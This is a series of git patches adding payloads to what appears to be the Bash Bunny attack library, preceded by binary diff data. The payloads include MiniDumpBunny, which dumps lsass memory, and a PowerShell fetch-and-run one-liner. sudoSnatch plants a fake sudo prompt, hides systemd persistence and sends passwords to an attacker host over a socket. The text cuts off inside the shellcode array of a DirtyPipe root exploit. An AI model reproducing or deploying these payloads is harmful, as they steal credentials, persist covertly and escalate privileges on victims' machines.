zIy+VZgAC@~Az#{64Dgp&M|pF}3z<(&8-!F@EONtRN?fbIj?Tn_C&()=qORiA(na>G z4o0IMt`k4XXuJxFk@{DofuKAwKr#ZBf^>p;q~6anF44jVTXh6_!MJFBkS{-I|7&Ky zCHG%nwjrfN?D8}v#qlnX5${8zQ!q}h**!(~ zd7V7~@buPVtw~DSw1`XD`JTV?e{4K&Ey!mn9asMWukRVYeaX;}eN1!#^;2A3XP5~$^zoY2(WITLmG*zZ{*rscFC`+mT`p{qoaj}0Xl~dkz!Ma-e z%G@Cu*j2n~yM;w6aWF=OnIuKR{v_u?AU~Vk)9yI�i*Az0%DBYdGncxW?j-vl5ig zYs7L<>1X$5dzM|@Xv^s&u4oN;9Av!+etPWf*b=Df05-l>6#`(2I==GC7P1a@a1_uP zlHTj_AarFh`FM|}_&%x`O$mXFbP0|sTOyhg&6u42-~(K>hufZaNX5W71$Py=ZJl@A zpB4Lrd}?bO>SemjGdmoskp!#Kt$|VeSL4~8JoQkaCS5cc?k?N-x_=#N?}4<=E*o$= zp4@!y@t_bL(yn0ZQfViP+lu>tRb6LTQ%$!GMJXzXqKF_7P`Z>Tf&z(1FM@(J1wxUg zAOrzvNl-e3-fNViG=mhWp-7b)>79T`@6C{ekQ?v!zTbWB`FrL$&pETttXXUAnLRie z3B^x7>G`7=+-*$#6i9Ucg~v|n?6Rg09~)tHvD-KAfNP#j>OhBRc4FMRocO`{-}Rt# z+08{Mj?YP5h|xEXUjcSH0>wfAG{Z>7nRzb%pl|84=TfzeN&vhF|2Z1k4XoeOM(|;| zsO{^Q(@qOaU^hSBG2HrZ?n9_@)^f=Sakc!`1D^APw4Rf+N&5ZQ|AJhGdhepHQf%+< z^sLEZB~Iq#!9lU;HDFe+(4QUsWZ^q-*rGxC2BS`+E0@_;+z0rw)5 z_CU54?Y(0A4Bsy^j*REJ@?o|Dr*_)cYp~uMV${IM`#0GrY6bI=bAEE@zo9A-k6M41_tV^8alKaC;TT z>9;N43ppdAcRnycgzBXCqAc(~+kE~us>#37U?I8-OHCq!+{|`el>TqBq8)>g$9DR7 za~|zviqw4SM8GXt z*IK&kYrRDeA#LyALwCn6%Q@*&&Mwek3ir=vOrKUAi4~^44sSZ=tA;0j?6E0V56BF8 z5dZ&dCo!v!ze4ao(GuS#ueva?%0SVrtxA*TSV#vO-}2PV<-^HG&&iq6( zXQQ@S6<#umUj64Ul+!7JcAgH9mxw?lx0JFoyl9h`z9$Gc3rHGA);`qeu~>U8TTnKV zKXxGWG2qf0nzS&SP47Fm*6V6f54y{nJ=kCOgm3Ka$^qDd8r*pYzkTu6mr3Gp;gez= z)y%xw{e@*%I(cO!H^$_}JK_AHPi(hnI!yl`RsR!uvd0C~j!)vVK8(nF{ax#0&bBc_ znDuoFreR{;@sWA}IqzWRJi4FZi@UBVH=OWEg)(8v9hqFDQGBY(>Cx-=f1R~i)L!-2 zbi($ImK;R%Q8BJYcmXVB8hqWQ(|y8%YIsn5YYg&fAsdYgHcD4Gu`;mP>yR4viSB^Z zl?N<5i|)tOBYGVhpPLDAj^I>C|B<{MpkaBllfPOHjLc)WEu$l99Dv=u?L+jTq+r{; z&61n?VF(h%#QtBGHtF%a)Exk$X*+a%M)baS!OHqqMdH|LMm->&d5#CL@SXK8gyLGI zzmhj|=i`{5w!zJQwv`<0WoY_m;DrON+z(FJ&WkHR)>UjR+Vg-i&4q1qRfc^}hL@+$u|@lOfw_#ASB~cr zw8ED^J06!LdQ~qKE_C7~%~!v(u51m;xZKGYuDp0KDOO~M!T)Ev$o2Py?5(Oapj$LV~(BVWV5E14@IsbEfIy}YDO~x zv~c%7|Ex5f>aNr)zQDR#@AQVX>2fJQ{c@WpMwo?xni2gFuTwRUoTngQ465U4 zT*4oz$~S8-#w*yDfF=gNFx}%lhv;7J#qpipFkc08*l(T#+*gWBr>FspNm=Dm5lXq2e4nfhG536xau;%7 zwAwjU5BgZH#9V>?51M57QqeXW^c7$g|BxKqTu%>^>+^q{;-%+6}|njm*(1lLd|f{V7%0dQ98+4ZI>I!Bo_nso&0QzctKgs zBvrgg98Sspnb`%=e`#DezBpd`T=iw)9oOea9C4R;utm+(SQV!iMrwB2mQ5?+jl5?? zLjuGtsSh_AI(jzkc;4ZmKxYJ^B{lR%aGZ$rpI~^Ff0Pd^GP64B&l-t*ZH`UCEBn9tc&4Tgg8wsRnrJn1c3$!Zu zP3BFG$HDuCKany&?j+CfAuYe{tzRKHEd7&3Oue3O0vO-U@0ck4EKA^_GhX1DUJH0! z=1@L3DB{5QqriDcg$WaW^q~6n+sH8F`V7#yLwm3uIyr18jCSoSrYxV@+1oPNOjyx! z{ohp#SmZQ^=$MdewH=V9-U|^sG}41YzNl@4*|8%e>JW8s*q?y!CgqCMmt#Zmb5lp=)buKF~_oAB}q-I~|^){3)d-g?vM!l1~B(PMSrwZVM^eR=PFO zf9Qu9A5BQlp%^kPh4mank2O%t?w12@pAX}(@=yq&V>JWw;O zw$GYe88vQwOZsN?I|O0FIBq-&_+)GZing={!6+toz`|{zHnqV2S6;>E3vnYM2>T4r08#9QJhSkby zfQrAp87XCQ8bgVucQ`g?Irwf~cv<~2Kd`ha_n>WHP z?~IPlIWm9H{*530QL#@fTS2*GMHSt<%E8@-8uNZXJUib;G-z(6o_ktipMjDx7XrEH zzFd`=9Jx{7%puCpEhvjc4^+76e&@-II%Ve};j5Ic+PJK4iRRXTA)V#^P>&t3-Y*yr?JZz#!}8rb#WO78b57TX2JJ zMUoAHzn8g2q^`bxhWpmL5qFPud1!fzLCdqL7hXwb&9g@0Wp8jJ8(u*0V;f~9Wcnj0S$P)dB2Ar(up z3G1G-3_X%&Aq#e$qMG#&kG9q`!bH8{Q^b9Wb$h7FU`V50dgX!luvVU9D%9BPfbdgvlLYr2k2RwSo{;hm@MTL*oS}%xQWpsB4FK-bq1-vMI9(p*s%0S=p=5m?CKCIEJNdaOD{SF z+J*6+^b`u^&(nZL`qxGQ;Wh53O)QtfTQk>MJG6k`IIgD~V&sxJ0)|=`={g_bk!a0uNNu&&NoR~p1u@^x^2 zLrc?pPi#aE?;M)lfeKRYO3FYjv-1|Y>6{@Ev%qoYxy}M;4=i1H!}L^3QTT3wqSBZe zA=u4U9e|eHPmrZk>*0lD4I3}U!4#wAFg z0e=>hK++(YJ}Tl$A>4mqHcviFP^oJ%Gfs95>=Ym>e`8*Cb-x4iH48~$z$d@C+t>3W z;nGrVU56UTS)lK0ylW!-d3q8e8&-Ps9DkL*#)T`z_YbB2c!2;;u%gyOX49zCq1=a! zBI9M8SLvL8{(fW1yX+(wAVL@|Q+~jG>R~%{%vvDrW&p=^blY)a<`ARd7XDUyqx~n% ziK+T95O9mA>y~GW65Z~D+}I4f5h+n?w5%~Z{!gR}5EcfSar_!JiTQg+XCfTBdhXC4 zd8B=F-o>a6$c|Am+Bh{Hs$TA-$g)9xSMWStwdRgnO!#skR%PI@8z;NhP&xqWY-r>F zHyvvS(EHG-wO>TPZj>eu@*%SZP_z1{D0iP^U7lqyxl5l4GV@FmX|KM`CZO{ZHdC+a z+x17AhYqy0Uo!cG%)OUO+?{Z@I6PdsBWbcM)hVP@l#8*RfU){Ur&f}sl;0hfp#Y+* zy9EiF6Vi}J>d&4Xfcvxdi5qIwMZaT=zo9C5IEVMq_h&0B0T{08g~T$`}`6f07$VE1c)CD$#>!5uKD2o|iTA33o7 zM0b{g+a<+b8h`LfxjR{gUfM|=@XjvShL0U5ub*y0szsgI_wF-)qfAD0x}_I)S}$M0EIgcK zZf-mf#4}qdEkyp}>-gr5JGuGUuhVIid9Eka&ZX{c{y_D-MNlXB(R*Uyo$3%L9?{pL zMoqj=)tZ#egTJCj+PisLg9^sqiG4BQ$nvBV_17cz`3hhCGIQPHzgRmf3KDZ=nj=iG z{?K?%+odyD5e1M`!NmBpTxpLgcARZlGs$)+L<1Pt=) zm8-)*NY3t5Q#J^slW6_ocq3-mihEl4kC71JwjrX+D?ii!#GxS?w3r57d6jO~zh)mX z_kN8GdBn&gdSGg|aW{A<_toX=p8klV`xh&nS=I>w5;^5C&&Xs47ShKu+j*nSyS#*- z(fwn#Qbkw0=X9mA*Pifi^WOHNLU3u}rubz)h6mVl0rMWvjtFV|tUqk*nxQ4hDRNZ3 zpYgmq3V>pn>d)}ks)n)oL7r|+q<9p{{qp1LT6SYW93%mP_uJ&cKmEq4o0lQqa+0s6 z3kbU2wKX^rGX4<+gMI?M^|dEw^UoZLg;iw}O(>6t;n zm_Fw7FQ7izLuc$H1M?r>$!;O;Hqv5Qhx|L|a$y*E270B6 zxjAJ^{iIyVr8a}1%o?4B)2=fPC%<|%pB0o`u1;y|)-M!y0yPTU^9eG#xWKZXCv`J} z=8^@VNNNkoFIF9fx2@PF?g<7IEkwFuH{^qNPR>D<1Sz*nS6jvDa=<)jl{nPnF*6tu9dTuky@c2opjW3^C^sxRxE=qTsi+{lZ znODl2(pVs|<*-!q-h=3H2NiD%ck6q zH4>o~`e$}2ea~28@5P+bY$yrkZFh$^?&gsDZP!B%TYdEV2+>LzecFDRTT9V_itFal zN&XlAtm+ALy2RgVC2lD-k1baIn6uI*uk%D#XL3C7&$wwFeMMNiDJb_2Tlx0>7eni~ z)-Wg|3IL8(vtkrcD5a;ZyAIyzX{!mMNFerE({|QB+mMZxYP-kFe;a23DW{?E*N@=a zCZ%Z)waFx_4;)Sc`%uO$dSP^I!xz4a6^UF$yQ6H19#$h?UISIQi>qsD#aTbf{1(Xfuv zF`qL5qV@)D4(;ejQ+#jfqw4;pNh&=LT^E7%Zje2#sOhkzdL(FSw`*dv232w#o3k6VGAq11!o=xBKv=)A z4DTVur`c~5flhBZJR@p0QZn?Py)u9l<2kssU(Oy5f?7`Uqk=hn%!s<#(-IyKm5DBI z37NR9B)7EB*b^D+la(WQbHWO=J84ioVC9()zZ0CrFi&?+tW%Y!++G5UM&UGSUE@0! z&IhYiX9!iSocySlGKe>ruagkQhScGzfSInp7)BN3*ZfLLbxOkS<&~Vb5d7YRcxd}! zEAVhZsAztXS-?aSaT0U)LNZR!Y&3YHCgWyn^evsnydHlGUx)~G=0pgtxIT|9i|=#O zC8+ETkxIBtXKu5Mc^*ccA=wT%nfJG~-i!T{OTgv0XAk%TrQt9i@OOuCB7r~h(eg<~ z4NJW+Wzf!KbP4t&!p;2#-UjP$)DUWtU^D_gmUl`Pxo>#vbP5u2^dj~^&Muf{XS zT54eQt2nOPncs)73Pb7ULoq`9(3ZL`-tv4}_&6r^KBfymQyOT1)+LR(TW%qd)$8T& zJ9yfPV^KfRKz)xWd?ml|{4IqJuBxOqRo8AG zypLo|*7Ix4?(%_w@eUW9VO(!FQ@=jCs0#;I#HchT#6i26oAnqgTw7<^TWfuU)=p|_ z{uH054Y}Gw&8Ghsolc|jj+-0HD;eFghGp<8bgUwduO`(4c2qDD3s>k;Yp~R#{q4vn zzAM6zk(@pLiNkjN&l}_i?wLyqw^vfsQyS#d1F&9a^OwthQ3|(Deq%`i0xoCGS|db2 z^o)mR7EifB49SbjAA5@xO3rILRfNwTbm!WoiKXuu+94J^bN>fdv546@+!EYcp_^5Xg<+RR! zXbr@c3=rPEcqmWJXZaoEz9@W@T1n6&@^_!9ET53{@KMen16B-tXkLGu55MrMM`xU$NT@;lt+>OY(D3-uf%N)0wqK= z8#S|cm(!&C7ibit`|I1Ps5Sq$4fi$-ecAzM_Kdir`)f8BzdegOf$)uBFTx7)gZ>(! NT55W#n1@#H{|Cd=bv^(9 literal 0 HcmV?d00001 diff --git a/payloads/library/credentials/MiniDumpBunny/payload.txt b/payloads/library/credentials/MiniDumpBunny/payload.txt new file mode 100644 index 00000000..2fc58a03 --- /dev/null +++ b/payloads/library/credentials/MiniDumpBunny/payload.txt @@ -0,0 +1,43 @@ +#!/bin/bash +# +# Title: MiniDumpBunny +# Description: Dump lsass with this script, which was obfuscated with multiple layers. +# Author: 0iphor13 +# Version: 1.0 +# Category: Credentials +# Attackmodes: HID, Storage + +LED SETUP + +Q DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +Q DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +Q DELAY 1000 +RUN WIN "powershell Start-Process powershell -Verb runAs" +Q ENTER +Q DELAY 1000 +Q ALT j +Q DELAY 250 + +Q DELAY 250 +Q STRING "iex((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\MiniBunny.bat')" +Q DELAY 250 +Q STRING " ;mv *.dmp ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\loot');\$bb = (gwmi win32_volume -f 'l" +Q DELAY 250 +Q STRING "abel=''BashBunny''').Name;Start-Sleep 1;New-Item -ItemType file \$bb'DONE';(New-Object -comObject Shell.Application).Nam" +Q DELAY 250 +Q STRING "espace(17).ParseName(\$bb).InvokeVerb('Eject');Start-Sleep -s 5;Exit" +Q DELAY 300 +Q ENTER + +LED FINISH \ No newline at end of file From 946879ae909f7b4f807f89d784ec07a1acf8c710 Mon Sep 17 00:00:00 2001 From: cribb-it <24548670+cribb-it@users.noreply.github.com> Date: Wed, 16 Mar 2022 21:28:18 +0000 Subject: [PATCH 2/5] New Payload - Random vid (#504) * readme * Payload --- .../general/Win_PoSH_RandomVid/payload.txt | 33 +++++++++++++++++++ .../general/Win_PoSH_RandomVid/readme.md | 24 ++++++++++++++ payloads/library/general/Win_PoSH_RandomVid/s | 24 ++++++++++++++ 3 files changed, 81 insertions(+) create mode 100644 payloads/library/general/Win_PoSH_RandomVid/payload.txt create mode 100644 payloads/library/general/Win_PoSH_RandomVid/readme.md create mode 100644 payloads/library/general/Win_PoSH_RandomVid/s diff --git a/payloads/library/general/Win_PoSH_RandomVid/payload.txt b/payloads/library/general/Win_PoSH_RandomVid/payload.txt new file mode 100644 index 00000000..1d2e874e --- /dev/null +++ b/payloads/library/general/Win_PoSH_RandomVid/payload.txt @@ -0,0 +1,33 @@ +#!/bin/bash +# Title: Random Video +# Description: Downloads a list of vids from YouTube. Then pick a random one then opens it. +# Author: Cribbit +# Version: 1.0 +# Category: General +# Target: Windows (Powershell 5.1+) +# Attackmodes: RNDIS_ETHERNET HID + +LED SETUP +ATTACKMODE RNDIS_ETHERNET HID + +GET SWITCH_POSITION +GET HOST_IP + + +cd /root/udisk/payloads/$SWITCH_POSITION/ + +# starting server +LED SPECIAL + +# disallow outgoing dns requests so server starts immediately +iptables -A OUTPUT -p udp --dport 53 -j DROP +python -m SimpleHTTPServer 80 & + +# wait until port is listening +while ! nc -z localhost 80; do sleep 0.2; done + +# attack commences +LED ATTACK +QUACK DELAY 300 +RUN WIN "powershell -C \"iex (New-Object Net.WebClient).DownloadString('http://$HOST_IP/s')\"" +LED FINISH \ No newline at end of file diff --git a/payloads/library/general/Win_PoSH_RandomVid/readme.md b/payloads/library/general/Win_PoSH_RandomVid/readme.md new file mode 100644 index 00000000..7008f5fb --- /dev/null +++ b/payloads/library/general/Win_PoSH_RandomVid/readme.md @@ -0,0 +1,24 @@ +# Random Video +- Author: Cribbit +- Version: 1.0 +- Tested on: Windows 10 (Powershell 5.1+) +- Category: General +- Attackmode: HID & RNDIS_ETHERNET +- Extensions: Run + +## Change Log +| Version | Changes | +| ------- | --------------- | +| 1.0 | Initial release | + +## Description +Downloads a list of Hak5 vids from YouTube (about 15 in the rss feed). + +Then pick one at random, then opens it in the browser. + +## Colours +| Status | Colour | Description | +| -------- | ----------------------------- | --------------------------- | +| SETUP | Magenta solid | Setting attack mode | +| ATTACK | Yellow single blink | Injecting Powershell script | +| FINISHED | Green blink followed by SOLID | Injection finished | \ No newline at end of file diff --git a/payloads/library/general/Win_PoSH_RandomVid/s b/payloads/library/general/Win_PoSH_RandomVid/s new file mode 100644 index 00000000..20ddb97b --- /dev/null +++ b/payloads/library/general/Win_PoSH_RandomVid/s @@ -0,0 +1,24 @@ +# Get the RSS feed for the Hak5 Channel +Write-Output "Connecting to youtube" +$Response = Invoke-WebRequest -Uri "https://www.youtube.com/feeds/videos.xml?channel_id=UC3s0BtrBJpwNDaflRSoiieQ" -UseBasicParsing -ContentType "application/xml" +Write-Output $Response.StatusCode +# See if it successful +If ($Response.StatusCode -eq "200") { + # set the XML + $Xml = [xml]$Response.Content + $Entries = @() + # Loop each entry creating an object + ForEach ($Entry in $Xml.feed.entry) { + $Entries += [PSCustomObject] @{ + 'Updated' = [datetime]$Entry.updated + 'Title' = $Entry.title + 'Link' = $Entry.Link.href + } + } + # Gets a random number + $int = (Get-Random -Maximum ($Entries.Count -1) -Minimum 0) + $Entry = $Entries[$int] + # Opens link + Start-Process $Entry.Link + Write-Output $Entry.Title +} \ No newline at end of file From 7f3972b88a1c087b6362ff16ceec615766b879ad Mon Sep 17 00:00:00 2001 From: drapl0n <87269662+drapl0n@users.noreply.github.com> Date: Wed, 23 Mar 2022 02:39:51 +0530 Subject: [PATCH 3/5] uploaded sudoSnatch (#507) * uploaded sudoSnatch sudoSnatch payload grabs sudo password in plain text, imediately after victim uses `sudo` command and sends it back to attacker remotely/locally. * changing payload category * uploaded sudoSnatch --- .../library/credentials/sudoSnatch/README.md | 48 ++++++++++++++++ .../library/credentials/sudoSnatch/payload.sh | 23 ++++++++ .../credentials/sudoSnatch/payload.txt | 56 +++++++++++++++++++ payloads/library/credentials/sudoSnatch/shell | 12 ++++ .../library/credentials/sudoSnatch/systemMgr | 5 ++ 5 files changed, 144 insertions(+) create mode 100644 payloads/library/credentials/sudoSnatch/README.md create mode 100644 payloads/library/credentials/sudoSnatch/payload.sh create mode 100644 payloads/library/credentials/sudoSnatch/payload.txt create mode 100644 payloads/library/credentials/sudoSnatch/shell create mode 100644 payloads/library/credentials/sudoSnatch/systemMgr diff --git a/payloads/library/credentials/sudoSnatch/README.md b/payloads/library/credentials/sudoSnatch/README.md new file mode 100644 index 00000000..856ab92e --- /dev/null +++ b/payloads/library/credentials/sudoSnatch/README.md @@ -0,0 +1,48 @@ +## About: +* Title: sudoSnatch +* Description: sudoSnatch grabs plain text passwords remotely/locally. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Credentials +* Target: Unix-like operating systems with systemd. +* Attackmodes: HID, Storage + +## sudoSnatch: sudoSnatch payload grabs sudo password in plain text, imediately after victim uses `sudo` command and sends it back to attacker remotely/locally. + +### Features: +* Plain text passwords. +* Detailed password logs. +* Persistent +* Autostart payload on boot. + +### Workflow: +* Injecting payload on target's system. +* Checks whether internet is connected to the target system. +* If internet is connected then it sends clear text passwords to attacker. + +### Changes to be made in payload.sh: +* Replace ip(0.0.0.0) and port number(4444) with your servers ip address and port number on line no `10`. +* Increase/Decrease time interval to restart service periodically (Default is 15 mins), on line no `14`. + +### LED Status: +* `SETUP` : MAGENTA +* `ATTACK` : YELLOW +* `FINISH` : GREEN + +### Directory Structure of payload components: +| FileName | Directory | +| -------------- | ----------------------------- | +| payload.txt | /payloads/switch1/ | +| payload.sh | /payloads/ | +| shell | /payloads/library/sudoSnatch/ | +| systemMgr | /payloads/library/sudoSnatch/ | + +* Note: Create directory named `sudoSnatch` in `/payloads/library/` +### Usage: +1. Inject payload into target's system. +2. Start netcat listner on attacking system: + +* `nc -l -p ` use this command to fetch passwords. + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/credentials/sudoSnatch/payload.sh b/payloads/library/credentials/sudoSnatch/payload.sh new file mode 100644 index 00000000..a11c2654 --- /dev/null +++ b/payloads/library/credentials/sudoSnatch/payload.sh @@ -0,0 +1,23 @@ +#!/bin/bash +unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE +mkdir /var/tmp/.system +lol=$(lsblk | grep 1.8G) +disk=$(echo $lol | awk '{print $1}') +mntt=$(lsblk | grep $disk | awk '{print $7}') +cp -r $mntt/payloads/library/sudoSnatch/systemMgr /var/tmp/.system/ +chmod +x /var/tmp/.system/systemMgr +touch /var/tmp/.system/sysLog +echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"cat /var/tmp/.system/sysLog "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus +chmod +x /var/tmp/.system/systemBus +mkdir -p ~/.config/systemd/user +echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service +echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot +chmod +x /var/tmp/.system/reboot +echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/reboot.service +systemctl --user daemon-reload +systemctl --user enable --now systemBUS.service +systemctl --user start --now systemBUS.service +systemctl --user enable --now reboot.service +systemctl --user start --now reboot.service +cp -r $mntt/payloads/library/sudoSnatch/shell /tmp/ +chmod +x /tmp/shell && /tmp/./shell && rm /tmp/shell diff --git a/payloads/library/credentials/sudoSnatch/payload.txt b/payloads/library/credentials/sudoSnatch/payload.txt new file mode 100644 index 00000000..894b67c6 --- /dev/null +++ b/payloads/library/credentials/sudoSnatch/payload.txt @@ -0,0 +1,56 @@ +# Title: sudoSnatch +# Description: sudoSnatch grabs plain text passwords remotely/locally. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Credentials +# Target: Unix-like operating systems with systemd. +# Attackmodes: HID, Storage + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 1400 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 200 + +# [transfering payload script] +Q STRING cp -r '$mntt'/payloads/payload.sh /tmp/ +Q ENTER +Q STRING chmod +x /tmp/payload.sh +Q ENTER +Q STRING /tmp/./payload.sh +Q ENTER +Q DELAY 5000 +Q STRING rm /tmp/payload.sh +Q ENTER +Q DELAY 500 + +# [Unmounting BashBunny] +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH diff --git a/payloads/library/credentials/sudoSnatch/shell b/payloads/library/credentials/sudoSnatch/shell new file mode 100644 index 00000000..eb95bf5d --- /dev/null +++ b/payloads/library/credentials/sudoSnatch/shell @@ -0,0 +1,12 @@ +#!/bin/bash +ls -a ~/ | grep 'zshrc' &> /dev/null +if [ $? = 0 ]; then + echo -e "alias sudo='bash /var/tmp/.system/systemMgr && sudo'" >> ~/.zshrc + echo "systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service && systemctl --user restart reboot.service" >> ~/.zshrc +fi + +ls -a ~/ | grep 'bashrc' &> /dev/null +if [ $? = 0 ]; then + echo -e "alias sudo='bash /var/tmp/.system/systemMgr && sudo'" >> ~/.bashrc + echo "systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service && systemctl --user restart reboot.service" >> ~/.bashrc +fi diff --git a/payloads/library/credentials/sudoSnatch/systemMgr b/payloads/library/credentials/sudoSnatch/systemMgr new file mode 100644 index 00000000..36c6b4ea --- /dev/null +++ b/payloads/library/credentials/sudoSnatch/systemMgr @@ -0,0 +1,5 @@ +#!/bin/bash +echo -n "[sudo] password for $(whoami):" +IFS="" read -s pass +echo -e "Timestamp=[$(date)] \t User=[$(whoami)] \t Password=[$pass]" >> /var/tmp/.system/sysLog +echo -e "\nSorry, try again." From b58284adaa8904ad0e6b8e164b14a6960795f4ce Mon Sep 17 00:00:00 2001 From: drapl0n <87269662+drapl0n@users.noreply.github.com> Date: Wed, 23 Mar 2022 20:42:49 +0530 Subject: [PATCH 4/5] uploaded dirtypipe (#506) * uploaded dirtypipe Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. * exploit * Create README.md * fixing typo --- .../library/execution/DirtyPipe/README.md | 24 +++ .../library/execution/DirtyPipe/dirtypipe.c | 181 ++++++++++++++++++ .../library/execution/DirtyPipe/payload.txt | 82 ++++++++ 3 files changed, 287 insertions(+) create mode 100644 payloads/library/execution/DirtyPipe/README.md create mode 100644 payloads/library/execution/DirtyPipe/dirtypipe.c create mode 100644 payloads/library/execution/DirtyPipe/payload.txt diff --git a/payloads/library/execution/DirtyPipe/README.md b/payloads/library/execution/DirtyPipe/README.md new file mode 100644 index 00000000..c115edfb --- /dev/null +++ b/payloads/library/execution/DirtyPipe/README.md @@ -0,0 +1,24 @@ +## About: +* Title: DirtyPipe +* Description: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Execution +* Target: Linux operating systems. +* Attackmodes: HID, Storage + +## DirtyPipe: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. The vulnerability is tracked as CVE-2022-0847 and allows a non-privileged user to inject and overwrite data in read-only files, including SUID processes that run as root. + +### Directory Structure of payload components: +| FileName | Directory | +| -------------- | ----------------------------- | +| payload.txt | /payloads/ | +| dirtypipe.c | /payloads/library/ | + +### LED Status: +* `SETUP` : MAGENTA +* `ATTACK` : YELLOW +* `FINISH` : GREEN + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/execution/DirtyPipe/dirtypipe.c b/payloads/library/execution/DirtyPipe/dirtypipe.c new file mode 100644 index 00000000..cd6295d6 --- /dev/null +++ b/payloads/library/execution/DirtyPipe/dirtypipe.c @@ -0,0 +1,181 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef PAGE_SIZE +#define PAGE_SIZE 4096 +#endif + +// small (linux x86_64) ELF file matroshka doll that does; +// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC); +// write(fd, elfcode, elfcode_len) +// chmod("/tmp/sh", 04755) +// close(fd); +// exit(0); +// +// the dropped ELF simply does: +// setuid(0); +// setgid(0); +// execve("/bin/sh", ["/bin/sh", NULL], [NULL]); +unsigned char elfcode[] = { + /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, + 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, + 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, + 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, + 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, + 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, + 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, + 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, + 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 